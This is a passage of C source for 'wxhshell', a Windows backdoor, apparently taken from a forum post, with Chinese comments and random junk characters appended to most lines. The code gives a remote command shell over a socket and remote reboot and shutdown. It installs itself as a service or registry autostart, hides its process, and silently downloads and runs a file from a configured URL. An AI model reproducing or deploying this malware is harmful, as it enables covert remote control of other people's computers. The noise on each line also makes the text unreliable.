    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZMVQo -=  
    else iQI$Y]Y7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .L X8ko  
    break; yM8<)6=  
    } J3$Ce%<   
  // 卸载 KP[H&4eoC  
  case 'r': { #Ang8O@y  
    if(Uninstall()) fy(i<L Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V(Dn!Nz  
    else >;;tX3(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _cW (R,i  
    break; 6.!3g(w   
    } H(1( H0Kj"  
  // 显示 wxhshell 所在路径 $)5-}NJf'  
  case 'p': { 5G-}'-R  
    char svExeFile[MAX_PATH]; zJp@\Yo+  
    strcpy(svExeFile,"\n\r"); A|D]e)/6+B  
      strcat(svExeFile,ExeFile); }#rdMh  
        send(wsh,svExeFile,strlen(svExeFile),0); 4G%!t`? q  
    break; ~<%/)d0  
    } V`n;W6Q17  
  // 重启 A-"}aCmik  
  case 'b': { 3]X9 z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jhyb{i8RR  
    if(Boot(REBOOT)) G|p3NhLgO=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4Gs\U:!Q  
    else { MWHGB")J  
    closesocket(wsh); nA\9UD<G.  
    ExitThread(0); 4l2xhx  
    } es` A<  
    break; BE;J/  
    } JVORz-uBs  
  // 关机 #0hX'8];(  
  case 'd': { nVTCbV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >}43xIRRCq  
    if(Boot(SHUTDOWN)) n>w/T"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WG{mg/\2(C  
    else { ]J t8]w  
    closesocket(wsh); xF+a.gAIb  
    ExitThread(0); ;Ly(O'9  
    } Ef1R?<  
    break; \xH#X=J  
    } "\'g2|A  
  // 获取shell ^Fl6-|^~  
  case 's': { \qrSJ=}t  
    CmdShell(wsh); R7L:U+*V"  
    closesocket(wsh); btfjmR<Tp  
    ExitThread(0); Qr/8kWa0 C  
    break; l @hXQ/  
  } pLFJ"3IJB  
  // 退出 n: ~y]  
  case 'x': { C6XTId=y#_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L29,Y=n@  
    CloseIt(wsh); Vs1j9P|G  
    break; [\ M=w7  
    } y1JxAj  
  // 离开 $>3/6(bW  
  case 'q': { #nE%.k|R~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z|Hc=AU8y  
    closesocket(wsh); FA.h?yfr  
    WSACleanup(); ; )Vro  
    exit(1); s7FJJTn  
    break; N F[v/S  
        } JeR8Mb  
  } r|XNS>V ,$  
  } <bwsK,C  
? [?{X~uq  
  // 提示信息 yn0OPjH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eB:OvOol*^  
} >A$J5B >d  
  } W |]24  
Y2 &N#~l*  
  return; T4 dYC'z  
} qIwI]ub~  
mGjxc}  
// shell模块句柄 ~HwY?[}!m  
int CmdShell(SOCKET sock) rx*1S/\PPc  
{ 8+&] q#W3  
STARTUPINFO si; C^@.GA  
ZeroMemory(&si,sizeof(si)); h^P>,dy0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cJ G><'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g<[_h(xDeG  
PROCESS_INFORMATION ProcessInfo; G\\zk  
char cmdline[]="cmd"; }mjJglK!N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OE!:`Bo3T  
  return 0; GfAt-huL(  
} T,72I  
~-,P1 u!  
// 自身启动模式 +e0]Y8J{  
int StartFromService(void) lD!o4ZAo  
{ $X %GzrN  
typedef struct }2.^n{Y  
{ v hUn3|  
  DWORD ExitStatus; qy`95^  
  DWORD PebBaseAddress; # E'g{.N  
  DWORD AffinityMask; Mj&f7IUO  
  DWORD BasePriority; b9[KdVsT6^  
  ULONG UniqueProcessId; [_jTy;E  
  ULONG InheritedFromUniqueProcessId; TqNEU<S/t  
}   PROCESS_BASIC_INFORMATION; yA%(!v5UT  
EO'[AU%~  
PROCNTQSIP NtQueryInformationProcess; vgzNT4o  
>Au]S `  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p~h= ]o'i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4-`C !q  
=|n NC  
  HANDLE             hProcess; DT #1*&-  
  PROCESS_BASIC_INFORMATION pbi; VVdgNT|}W  
G?)vqmJ%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Eb`U^*A  
  if(NULL == hInst ) return 0; A6'G%of  
Urhh)i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ga-AhP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZpPm>|w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9YMUvd,u  
J{=by]-rD,  
  if (!NtQueryInformationProcess) return 0; %-+lud  
/vFw5KUu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _9E7;ew  
  if(!hProcess) return 0; US+PI`  
@3bQ2jn   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?lzg )88I  
n 5NkjhP~Z  
  CloseHandle(hProcess); )< ~1AL  
OGNjn9av  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vtm5&-  
if(hProcess==NULL) return 0; E9 QA<w  
\%9,< -~[  
HMODULE hMod; @b2{'#9]}  
char procName[255]; ^3QHB1I  
unsigned long cbNeeded; 5gg_c?Vh/  
v709#/ cR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TL+a_]3@  
EI2V<v  
  CloseHandle(hProcess); lY_E=K]  
*k'oP~:fT  
if(strstr(procName,"services")) return 1; // 以服务启动 XpWqL9s_E  
"A^9WhUpJ  
  return 0; // 注册表启动 Tn[DF9;?  
} qFmvc  
A'qJke=  
// 主模块 bL+Hw6;  
int StartWxhshell(LPSTR lpCmdLine) 4E:HO\  
{ 6 $%^  
  SOCKET wsl; F#@Mf?#2  
BOOL val=TRUE; +bvY*^i  
  int port=0; )Y@  
  struct sockaddr_in door; ^;GJ7y&,d  
\;p5Pagx0-  
  if(wscfg.ws_autoins) Install(); &|xN=U/  
$O&P@8:Z  
port=atoi(lpCmdLine); o[^%0uVF  
.l5y !?  
if(port<=0) port=wscfg.ws_port;  %"j<`  
lyKV^7}  
  WSADATA data; pL>Q'{7s3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,;C92XY  
y}ez js  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E0}`+x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <FmrYwt  
  door.sin_family = AF_INET; =-{+y(<"r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GAbX.9[V  
  door.sin_port = htons(port); V4f ~#Tp  
}4Lv-9s,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $k*E^~qT  
closesocket(wsl); [g/Hf(&  
return 1; '=@O]7o~  
} {) 4D1  
A[v]^pv'  
  if(listen(wsl,2) == INVALID_SOCKET) { lRnst-inlI  
closesocket(wsl); 2t\a/QE)E  
return 1; 3> -/sii  
} V{;Mh u`+  
  Wxhshell(wsl); |~k=:sSz{  
  WSACleanup(); [zIX&fPk$  
* 4G J<  
return 0; |h(!CFR  
gA~BhDS  
} vn~DtTp/  
b&~rZ  
// 以NT服务方式启动 K 4I ?1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {<ymL}  
{ nX<!n\J T  
DWORD   status = 0; ~R7rIP8Wr  
  DWORD   specificError = 0xfffffff; Lie\3W  
<WtX> \]l(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cnC&=6=a<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S #%'Vrp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cC1nC76[  
  serviceStatus.dwWin32ExitCode     = 0; Qs8iu`'  
  serviceStatus.dwServiceSpecificExitCode = 0; 5 |{0|mP  
  serviceStatus.dwCheckPoint       = 0; 3D +>NB  
  serviceStatus.dwWaitHint       = 0;  9mwL\j  
j% !   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;^lVIS%&{  
  if (hServiceStatusHandle==0) return; V:)k@W?P  
lQ!ukl)  
status = GetLastError(); %Y:'5\^lC  
  if (status!=NO_ERROR) d4/snvq  
{ yC4JYF]JN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3>yb$ZU"-  
    serviceStatus.dwCheckPoint       = 0; )-#%  
    serviceStatus.dwWaitHint       = 0; Yn[y9;I{  
    serviceStatus.dwWin32ExitCode     = status; 8263  
    serviceStatus.dwServiceSpecificExitCode = specificError; A!H6$-W|p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /"tVOv#  
    return; $}2m%$vJO  
  } o5mt7/5[i  
lyfLkBF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "T?%4^:g  
  serviceStatus.dwCheckPoint       = 0; -4Zf0r1u  
  serviceStatus.dwWaitHint       = 0; :,y V?E6]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d%VGfSrKq  
} W@AZ<(RI:  
6GMQgTY^  
// 处理NT服务事件,比如:启动、停止 CspY+%3$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V /$qD  
{  nsij;C  
switch(fdwControl) i*..]!7e  
{ _ mhP:O  
case SERVICE_CONTROL_STOP: jL^zS XQB  
  serviceStatus.dwWin32ExitCode = 0; 6gY5v @!w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rOE[c  
  serviceStatus.dwCheckPoint   = 0; 20d[\P(.  
  serviceStatus.dwWaitHint     = 0; f8+($Ys  
  { cgc| G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~EW (2B{u  
  } + B%fp*  
  return; fOm=#:O  
case SERVICE_CONTROL_PAUSE: &9, 6<bToP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {$bAs9L  
  break; j! iimdq  
case SERVICE_CONTROL_CONTINUE: rr'RX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w '~f Z*  
  break; YMj z , N  
case SERVICE_CONTROL_INTERROGATE: ueDG1)  
  break; ?%i|].<-'  
}; Cd#[b)d ?^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FGG Fi(  
} PbJn8o   
bqFGDmu6'  
// 标准应用程序主函数 66fvS}x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s[nXr   
{ Dsw(ti`@  
])'22sY  
// 获取操作系统版本 2Prr:k  
OsIsNt=GetOsVer(); Ra&HzK?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `n Y!nh6!  
gsGwf[XdJ  
  // 从命令行安装 AVGb;)x#  
  if(strpbrk(lpCmdLine,"iI")) Install(); {1'XS,2  
iyc}a6g  
  // 下载执行文件 qm4 Ejc<  
if(wscfg.ws_downexe) { ;yqJEj_m(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ce.'STm=  
  WinExec(wscfg.ws_filenam,SW_HIDE); (\e,,C%;  
} W=&\d`><k  
HtgVD~[]  
if(!OsIsNt) { 8TD:~ee  
// 如果时win9x,隐藏进程并且设置为注册表启动  ;iy]mPd  
HideProc(); 73A1+2  
StartWxhshell(lpCmdLine); l6:k|hrm;  
} D!Owm&We  
else Ry,_ %j3  
  if(StartFromService()) R4 ;^R  
  // 以服务方式启动 =7e~L 3 K  
  StartServiceCtrlDispatcher(DispatchTable); 25XD fi75  
else I5wf|wB-  
  // 普通方式启动 |t1D8){!  
  StartWxhshell(lpCmdLine); ~=aGv%vX  
\kF}E3~+#  
return 0; eA$9)K1GO  
}
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只看该作者 1 发表于: 2006-10-10
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